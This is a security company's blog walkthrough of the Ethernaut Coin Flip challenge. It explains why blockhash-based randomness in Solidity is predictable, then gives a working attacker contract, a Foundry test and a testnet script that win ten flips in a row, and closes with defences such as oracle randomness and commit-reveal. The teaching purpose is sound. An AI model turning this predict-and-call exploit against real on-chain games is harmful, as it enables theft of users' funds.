← Back to blog
Mike B. - SecLat SecurityAugust 28, 2026

Ethernaut Level 3 Walkthrough: Exploiting Weak On-Chain Randomness in Solidity

In this article, we will analyze and solve Ethernaut Level 3: Coin Flip.

This level looks like a coin toss, but it teaches a lesson every Solidity developer needs early: nothing computed from block data is random. If a contract derives a secret from values an attacker can also read, the attacker already knows the outcome before they call it.

Besides solving the challenge, we will also understand:

  • Why blockhash and other block variables are not a source of randomness
  • How an attacker can replicate a contract's "random" formula off-chain and on-chain
  • How to build an attacker contract that always guesses correctly
  • How to validate the exploit using Foundry
  • How to defend against it properly with an oracle-based source of randomness

Challenge Description

The contract implements a coin-flip game. Each call to flip computes a pseudo-random side from the previous block's hash and compares it against the caller's guess.

Every correct guess increases a consecutiveWins counter. Any wrong guess resets it to zero.

The goal of the challenge is:

Guess the outcome of the coin flip correctly 10 times in a row.

Vulnerability Classification

CategoryValue
Vulnerability:Weak on-chain randomness
Root Cause:The "random" outcome is derived from public, replicable block data
Impact:An attacker can guess correctly with 100% certainty
Severity:Critical
Attack Type:Predictable pseudo-randomness via blockhash

Vulnerable Contract Analysis

This is the vulnerable contract used in the challenge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

Root Cause of the Vulnerability

The contract tries to generate a fair coin flip using only on-chain data:

uint256 blockValue = uint256(blockhash(block.number - 1));
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

blockhash(block.number - 1) returns the hash of the previous block. That value is not secret. Every node on the network can read it, and so can every contract, including an attacker's contract, in the very same transaction.

FACTOR is exactly 2^255. Dividing a uint256 by 2^255 keeps only its most significant bit: the result is 1 if that bit is set, 0 otherwise. In other words, side is just the top bit of the previous block's hash.

Since an attacker's contract can read blockhash(block.number - 1) too, it can compute side with the exact same formula before calling flip, and pass that value as _guess. The "random" part of this random game is fully public.

This violates a core security principle in smart contract design:

A value cannot be used as a secret if every participant, including an attacker, can read or recompute it before it is used.

Understanding Weak On-Chain Randomness

The flaw is not in the arithmetic. It is in the source of entropy.

The flow is as follows:

  1. flip reads blockhash(block.number - 1), a value published as part of the blockchain state.
  2. It derives side deterministically from that value.
  3. It compares side against the caller-supplied _guess.
  4. Because step 1 uses public data, anyone can compute the same side before calling flip, from a contract or from an off-chain script.
Block N-1 mined
      |
      v
blockhash(N-1) becomes public and stable within block N
      |
      +----> CoinFlip.flip() reads it and derives "side"
      |
      +----> Attacker's contract reads it too, derives the same "side"
                          |
                          v
                Attacker calls flip(side) -> always correct

This exact class of bug has caused real losses. The most cited case is the 2018 SmartBillions lottery, where the "random" winning number was derived from block data an attacker could predict, allowing repeated draws to be won without real chance.

Why blockhash-Based Randomness Is Dangerous

blockhash and other block-derived values (block.timestamp, block.number, block.difficulty / block.prevrandao) share the same problem: they are public before or at the exact moment a transaction executes.

Some nuances matter here:

  • blockhash only returns non-zero values for the 256 most recent blocks. Older queries return zero, which is why some contracts wrongly assume this makes it "safer": zero is still fully predictable.
  • Even block.prevrandao (the post-Merge replacement for block.difficulty), while harder to bias than a hash, is known to validators before ordinary users, and should not be treated as unpredictable to a sufficiently motivated actor.
  • Any value computable from data available on-chain, before or during the transaction that consumes it, cannot serve as a secret.

The safe pattern is to source randomness off-chain, from an oracle designed for it, and to consume it only after it has been committed in a way the requester cannot influence or predict in advance.

Attack Strategy

Now that we understand the vulnerability, we can design the exploit.

We know that:

  1. side is fully determined by blockhash(block.number - 1), a value any contract can read.
  2. A contract can compute side and call flip(side) in the same transaction, guaranteeing a correct guess.
  3. flip reverts if called twice with the same blockValue, so each attempt needs a new block.
  4. We need 10 consecutive correct guesses, so we need to repeat the attack across 10 different blocks.

Therefore, our strategy will be:

  1. Deploy an attacker contract that recomputes the exact same formula as CoinFlip.
  2. Call its attack() function once per block, for 10 blocks.
  3. Each call reads the current blockhash(block.number - 1), derives the correct guess, and calls flip with it.
  4. After 10 successful calls, consecutiveWins reaches 10 and the level is solved.

Attacker Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface CoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipGuesser {
    uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    CoinFlip public target;
    address public owner;

    constructor(address _target) {
        target = CoinFlip(_target);
        owner = msg.sender;
    }

    /// @notice Recomputes the victim's own formula in the same block, so the guess always lands.
    function attack() external returns (bool) {
        require(msg.sender == owner, "Not owner");
        uint256 blockValue = uint256(blockhash(block.number - 1));
        bool guess = (blockValue / FACTOR) == 1;
        return target.flip(guess);
    }
}

We declare a minimal CoinFlip interface instead of importing the level's contract directly. This keeps the attacker contract self-contained and avoids any pragma friction between the level's ^0.8.0 code and the rest of the toolchain.

The constructor stores the victim address as a typed CoinFlip reference and records owner, so only the deployer can trigger attack(). Every call to attack() reads the same blockValue the victim contract is about to read, in the same block, and forwards the derived guess.

How the Exploit Works

First, we deploy CoinFlipGuesser pointing at the challenge instance.

Then, once per block, we call attack(). Internally it reads blockhash(block.number - 1), the exact input CoinFlip.flip is about to use, computes side with the same division by FACTOR, and immediately calls flip(side).

Because both contracts observe the same blockhash in the same transaction, the guess is never wrong. Each successful call increments consecutiveWins on the victim contract by one.

We repeat this 10 times, moving to a new block between calls, since CoinFlip reverts if the same blockValue is reused. After the tenth successful call, consecutiveWins reaches 10 and the challenge condition is met.

Validating the Exploit with Foundry

After cloning the Ethernaut repository locally, we can create a Foundry test to validate the exploit.

// SPDX-License-Identifier: MIT
// CoinFlip_L3.t.sol
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {CoinFlip} from "src/levels/CoinFlip.sol";
import {CoinFlipFactory} from "src/levels/CoinFlipFactory.sol";
import {CoinFlipGuesser} from "test/Solutions/Attacks/CoinFlipGuesser.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestCoinFlip_L3 is Test, Utils {
    Ethernaut ethernaut;
    CoinFlip instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        CoinFlipFactory factory = new CoinFlipFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = CoinFlip(createLevelInstance(ethernaut, Level(address(factory)), 0));
        vm.stopPrank();
    }

    function testInit() public {
        vm.prank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
    }

    function testSolve() public {
        vm.startPrank(player);
        CoinFlipGuesser guesser = new CoinFlipGuesser(address(instance));

        // The level only allows one flip per block, so we roll a new block before every guess.
        for (uint256 i = 0; i < 10; i++) {
            vm.roll(block.number + 1);
            guesser.attack();
        }

        assertEq(instance.consecutiveWins(), 10);
        assertTrue(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }
}

Running the Test

Run the test locally, without forking:

forge test --mp test/Solutions/CoinFlip_L3.t.sol --mt testSolve -vvv

We validate this test against the local Foundry EVM instead of a Sepolia fork. The reason is technical, not a shortcut: vm.roll only advances the local block number. On a forked network, blockhash for a block number that has not really been mined yet on the live chain returns zero, and two consecutive zero values trip the contract's own if (lastHash == blockValue) revert(); guard, well before we reach 10 wins. Locally, Foundry's EVM produces a distinct deterministic hash for every block, so the loop runs cleanly.

Once executed, we can verify that the attacker contract reached 10 consecutive wins and that the level accepts the submission.

Solving the Level on Sepolia

Now we will create a script to execute the exploit directly against the Ethernaut instance.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {CoinFlipGuesser} from "test/Solutions/Attacks/CoinFlipGuesser.sol";
import {console} from "forge-std/console.sol";

contract CoinFlipScript is Script {
    address public target;
    CoinFlipGuesser public guesser;

    function setUp() public {
        target = payable("0xYourEthernautInstance");
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
        vm.startBroadcast(pk);

        // guesser = new CoinFlipGuesser(target);
        guesser = CoinFlipGuesser("your guesser contract address here");
        guesser.attack();

        console.log("Guesser contract:", address(guesser));

        vm.stopBroadcast();
    }
}

Now we just need to run this script 10 times, waiting for a new block each time, until consecutiveWins reaches 10. The first run deploys the guesser contract and gives us its address, which we save and reuse in the following runs.

Running the Script

First, execute the script locally:

forge script scripts/CoinFlip.s.sol --rpc-url $SEPOLIA_RPC

If everything works correctly, broadcast it to Sepolia. Repeat this call, waiting for a new block each time, until consecutiveWins reaches 10:

forge script scripts/CoinFlip.s.sol --rpc-url $SEPOLIA_RPC --broadcast \
--interactives 1 -vvv

Once the tenth call succeeds, consecutiveWins reaches 10 on the instance. You just need to submit the instance on the Ethernaut website.

How to Prevent This Vulnerability

The core defense is to never derive anything security-relevant from data an on-chain observer can read or reproduce before it is consumed.

Use a verifiable randomness oracle

Chainlink VRF (Verifiable Random Function) generates randomness off-chain along with a cryptographic proof, and delivers it back on-chain in a separate transaction the requester cannot predict in advance:

import "@chainlink/contracts/src/v0.8/vrf/VRFConsumerBaseV2Plus.sol";

contract FairCoinFlip is VRFConsumerBaseV2Plus {
    // Randomness arrives asynchronously via fulfillRandomWords,
    // never computed from block data available to the caller.
}

Never use block data as a randomness source

Avoid deriving outcomes from blockhash, block.timestamp, block.number, or block.prevrandao. All of them are either public before use or influenceable by the block producer.

Separate the commitment from the reveal

If an oracle is not available, use a commit-reveal scheme where the value that determines the outcome is committed (hashed) before the participant's action, and only revealed afterward, so the participant can never see it in advance.

Lessons Learned

This challenge shows that "hard to guess" is not the same as "cryptographically random."

Key lessons from this level:

  • blockhash and other block variables are public data, never a secret.
  • If a contract and an attacker's contract can compute the same value at the same point in the transaction, that value cannot gate access or rewards.
  • Guard clauses like if (lastHash == blockValue) revert() prevent trivial replay, but do not fix the underlying predictability.
  • Real randomness must come from a source the party benefiting from the outcome cannot query in advance.
  • Reach for audited oracle solutions like Chainlink VRF instead of inventing on-chain randomness.

Conclusion

In this challenge, we exploited weak on-chain randomness that let us predict the exact outcome of every coin flip before calling the contract.

We built an attacker contract that reads the same blockhash the victim reads, derives the same guess, and calls flip with certainty, repeating the attack across 10 blocks to reach the required consecutive wins.

This level is an excellent introduction to:

  • Weak on-chain randomness and its real-world impact
  • Why blockhash cannot be used as a secret
  • Building minimal attacker contracts with a typed interface
  • Real exploit methodology validated with Foundry
  • Secure randomness patterns using verifiable oracles

You can find more Web3 security content on our blog.

If you are looking for a security audit for your protocol, feel free to contact us through our website seclat.xyz.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.